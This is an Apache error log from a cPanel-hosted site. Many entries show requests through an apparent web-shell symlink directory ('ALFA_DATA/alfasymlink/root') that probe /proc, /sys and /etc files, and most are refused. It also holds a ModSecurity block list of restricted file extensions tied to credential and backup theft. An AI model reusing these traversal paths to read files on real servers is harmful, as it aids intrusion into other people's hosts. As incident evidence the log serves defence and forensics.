[Sun Oct 25 14:58:30.179454 2026] [core:error] [pid 2882166:tid 2882166] (13)Permission denied: [client 100.25.120.246:2437] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory7/node0/memory21/subsystem/drivers_probe
[Sun Oct 25 14:58:32.319829 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 185.191.171.16:54788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/cpu_partial
[Sun Oct 25 14:58:46.331953 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 34.231.77.232:14116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:58:54.151632 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 3.215.221.125:15537] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:58:58.323358 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 34.239.85.139:49804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup9/device/rescan
[Sun Oct 25 14:59:02.159391 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 54.83.23.103:26895] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:59:10.374263 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 23.21.225.190:61653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:59:14.331536 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 100.28.118.16:63893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0
[Sun Oct 25 14:59:42.280685 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 54.156.124.2:24440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:59:46.308835 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 18.233.24.238:55015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:59:54.183310 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 184.73.239.35:48689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:00:10.190305 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 3.232.82.72:55775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:00:14.202501 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 34.195.60.66:55924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:00:22.241170 2026] [core:error] [pid 2882162:tid 2882162] (13)Permission denied: [client 54.197.102.71:51657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource0
[Sun Oct 25 15:00:32.089963 2026] [authz_core:error] [pid 2880779:tid 2880779] [client 109.174.136.15:48174] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sun Oct 25 15:00:36.060522 2026] [core:error] [pid 2882166:tid 2882166] (13)Permission denied: [client 85.208.96.206:12622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/cpu_slabs
[Sun Oct 25 15:00:46.176181 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 34.202.88.37:23761] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:01:02.161880 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 34.225.243.131:4080] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:01:14.252081 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 44.215.231.15:6979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:01:14.252271 2026] [security2:error] [pid 2882168:tid 2882168] [client 44.215.231.15:6979] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:01/PNP0B00:00/power/runtime_suspended_time"] [unique_id "at5R-iilj0Nbd9q5zbpZtwAAAB0"]
[Sun Oct 25 15:01:14.252301 2026] [security2:error] [pid 2882168:tid 2882168] [client 44.215.231.15:6979] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:01/PNP0B00:00/power/runtime_suspended_time"] [unique_id "at5R-iilj0Nbd9q5zbpZtwAAAB0"]
[Sun Oct 25 15:01:16.535309 2026] [proxy_fcgi:error] [pid 2882159:tid 2882159] [client 152.42.234.140:62755] AH01071: Got error 'Primary script unknown', referer: https://planprojekt.kapucin.cz//blog//wp-login.php
[Sun Oct 25 15:01:16.726139 2026] [proxy_fcgi:error] [pid 2882191:tid 2882191] [client 152.42.234.140:62756] AH01071: Got error 'Primary script unknown', referer: pinet.jp/blog//wp-login.php
[Sun Oct 25 15:01:18.168229 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 3.235.215.92:4252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:01:38.178829 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 34.226.89.140:42015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:01:42.163399 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 100.28.204.82:14267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:01:50.157643 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 44.209.187.99:45093] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:22.323919 2026] [ssl:error] [pid 2885108:tid 2885108] (70014)End of file found: [client 34.234.206.30:35681] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:26.174150 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 3.232.39.98:51431] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:30.181355 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 100.29.160.53:44529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:34.182405 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 34.194.14.255:3298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:38.194241 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 184.72.95.195:35971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:42.397306 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 44.210.204.255:2838] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:46.285301 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 52.45.92.83:25225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:50.164495 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 44.221.180.179:16400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:54.164873 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 23.23.99.55:23268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:02:55.646885 2026] [core:error] [pid 2882162:tid 2882162] (13)Permission denied: [client 85.208.96.198:21540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/cpu_slabs
[Sun Oct 25 15:03:02.388904 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 52.3.102.51:9942] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:06.660597 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 185.191.171.15:27246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/slab_size
[Sun Oct 25 15:03:10.328012 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 54.197.82.195:39135] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:14.243713 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 44.223.115.10:49862] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:18.169570 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 52.204.71.8:62986] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:22.356927 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 44.223.232.55:20819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:30.290991 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 18.210.58.238:55805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:34.270378 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 52.0.63.151:62088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:38.194033 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 3.218.35.239:13682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:48.351264 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 85.208.96.203:51366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uhci_urb_priv/poison
[Sun Oct 25 15:03:50.192363 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 54.225.98.148:45386] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:54.188053 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 54.204.62.163:57123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:03:58.186141 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 50.16.72.185:18993] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:02.320304 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 54.157.84.74:63312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:06.161922 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 54.198.33.233:20068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:10.172727 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 52.203.152.231:9556] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:14.268869 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 23.21.175.228:38459] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:18.203012 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 44.220.2.97:34047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:30.157345 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 184.73.239.35:37869] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:33.352088 2026] [core:error] [pid 2885089:tid 2885089] (13)Permission denied: [client 85.208.96.197:27454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/poison
[Sun Oct 25 15:04:34.181420 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 52.44.148.203:21446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:38.246126 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 18.207.79.144:49676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:04:42.304192 2026] [security2:error] [pid 2882166:tid 2882166] [client 107.172.76.131:63934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5SvZryCly-hVDrzwlY5AAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:04:42.304254 2026] [security2:error] [pid 2882166:tid 2882166] [client 107.172.76.131:63934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5SvZryCly-hVDrzwlY5AAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:04:54.337626 2026] [core:error] [pid 2882162:tid 2882162] (13)Permission denied: [client 3.90.73.206:29083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/battery/unbind
[Sun Oct 25 15:05:02.218665 2026] [core:error] [pid 2885087:tid 2885087] (13)Permission denied: [client 34.205.163.103:12306] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/compact
[Sun Oct 25 15:05:06.184012 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 54.84.93.8:1147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:05:10.172740 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 44.212.145.46:60288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0
[Sun Oct 25 15:05:14.164220 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 3.217.171.106:54904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:05:22.167298 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 52.203.65.83:5701] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:05:26.253300 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 18.205.127.11:2020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:05:30.168986 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 54.197.114.76:24941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:05:46.195503 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 44.214.19.8:10102] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:05:50.171384 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 54.83.56.1:8649] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:02.149464 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 54.91.122.193:7931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:18.205950 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 3.213.46.222:8442] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:26.226020 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 34.224.9.144:45117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:34.509037 2026] [core:error] [pid 2885089:tid 2885089] (13)Permission denied: [client 85.208.96.206:44438] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/i2c_piix4/sections/__param
[Sun Oct 25 15:06:37.407524 2026] [core:error] [pid 2882159:tid 2882159] (13)Permission denied: [client 85.208.96.195:53964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/reclaim_account
[Sun Oct 25 15:06:42.314586 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 98.83.226.125:40782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:46.167221 2026] [core:error] [pid 2882191:tid 2882191] (13)Permission denied: [client 52.203.68.145:33709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/resource1
[Sun Oct 25 15:06:50.269255 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 184.73.47.24:11767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:54.178729 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 52.54.249.218:37414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:06:58.169163 2026] [core:error] [pid 2882162:tid 2882162] (13)Permission denied: [client 52.204.253.129:50820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/cirrus/module/uevent
[Sun Oct 25 15:07:12.079271 2026] [security2:error] [pid 2882168:tid 2882168] [client 85.208.96.202:57076] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/chrony.conf"] [unique_id "at5TYCilj0Nbd9q5zbpZwQAAAB0"]
[Sun Oct 25 15:07:12.079675 2026] [security2:error] [pid 2882168:tid 2882168] [client 85.208.96.202:57076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/chrony.conf"] [unique_id "at5TYCilj0Nbd9q5zbpZwQAAAB0"]
[Sun Oct 25 15:07:12.080051 2026] [security2:error] [pid 2882168:tid 2882168] [client 85.208.96.202:57076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/chrony.conf"] [unique_id "at5TYCilj0Nbd9q5zbpZwQAAAB0"]
[Sun Oct 25 15:07:14.238759 2026] [ssl:error] [pid 2882161:tid 2882161] (5)Input/output error: [client 3.218.103.254:9274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:07:14.238948 2026] [security2:error] [pid 2882161:tid 2882161] [client 3.218.103.254:9274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory11/power/autosuspend_delay_ms"] [unique_id "at5TYt9M2VEwlrtTY6-yOQAAABM"]
[Sun Oct 25 15:07:14.238977 2026] [security2:error] [pid 2882161:tid 2882161] [client 3.218.103.254:9274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory11/power/autosuspend_delay_ms"] [unique_id "at5TYt9M2VEwlrtTY6-yOQAAABM"]
[Sun Oct 25 15:07:22.176797 2026] [ssl:error] [pid 2885108:tid 2885108] (70014)End of file found: [client 3.229.2.217:30155] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:07:32.012725 2026] [security2:error] [pid 2882149:tid 2882149] [client 107.172.76.131:63929] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5TZ1Dc8NG2wzoJfYE2ygAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:07:32.012785 2026] [security2:error] [pid 2882149:tid 2882149] [client 107.172.76.131:63929] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5TZ1Dc8NG2wzoJfYE2ygAAAAQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:07:34.152953 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 52.200.142.199:51180] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:07:38.164908 2026] [ssl:error] [pid 2885108:tid 2885108] (70014)End of file found: [client 52.45.15.233:13702] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:07:42.171538 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 52.0.41.164:39458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:07:50.141056 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 3.93.211.16:5111] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers_probe
[Sun Oct 25 15:08:02.153435 2026] [core:error] [pid 2885089:tid 2885089] (13)Permission denied: [client 44.193.115.232:63507] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/remove
[Sun Oct 25 15:08:06.294870 2026] [ssl:error] [pid 2885108:tid 2885108] (70014)End of file found: [client 23.23.214.190:14538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:08:10.206111 2026] [security2:error] [pid 2885109:tid 2885109] [client 52.54.157.23:62598] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/subsystem/slots/11/module/parameters/"] [unique_id "at5TmoFcUVAO2YtGzyMehAAAAAg"]
[Sun Oct 25 15:08:10.206161 2026] [security2:error] [pid 2885109:tid 2885109] [client 52.54.157.23:62598] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/subsystem/slots/11/module/parameters/"] [unique_id "at5TmoFcUVAO2YtGzyMehAAAAAg"]
[Sun Oct 25 15:08:14.139245 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 52.0.218.219:37578] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:08:18.426792 2026] [ssl:error] [pid 2885694:tid 2885694] (70014)End of file found: [client 52.205.141.124:31597] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:08:22.173545 2026] [core:error] [pid 2882159:tid 2882159] (13)Permission denied: [client 3.231.193.38:2841] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/console/subsystem/ttyS0/io_type
[Sun Oct 25 15:08:30.155789 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 107.22.208.39:63608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:08:38.186152 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 52.4.229.9:57369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:08:46.140645 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 52.45.15.233:23907] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:08:50.386045 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 54.91.122.193:13421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:02.247211 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 184.73.47.24:34133] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:10.138963 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 98.82.59.253:19531] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:14.301544 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 54.225.148.123:56850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:14.660556 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 85.208.96.203:53312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:18.159036 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 50.16.72.185:2845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:26.265422 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 98.83.178.66:27642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:30.140169 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 44.209.35.147:30447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:34.149847 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 3.232.39.98:2404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:42.291468 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 3.222.85.38:7169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:09:46.191622 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 54.147.80.137:64972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:02.816270 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 54.152.163.42:6699] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:06.166033 2026] [core:error] [pid 2885694:tid 2885694] (13)Permission denied: [client 3.220.148.166:9151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/graphics/fbcon/subsystem/fb0/device/driver/0000:00:02.0/subsystem/drivers/vmd/module/drivers/pci:vmd/uevent
[Sun Oct 25 15:10:14.142176 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 52.3.26.180:35636] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:18.149819 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 98.83.226.125:52776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:22.262335 2026] [ssl:error] [pid 2885694:tid 2885694] (70014)End of file found: [client 54.225.148.123:42174] AH02013: coalesce failed to read from data bucket
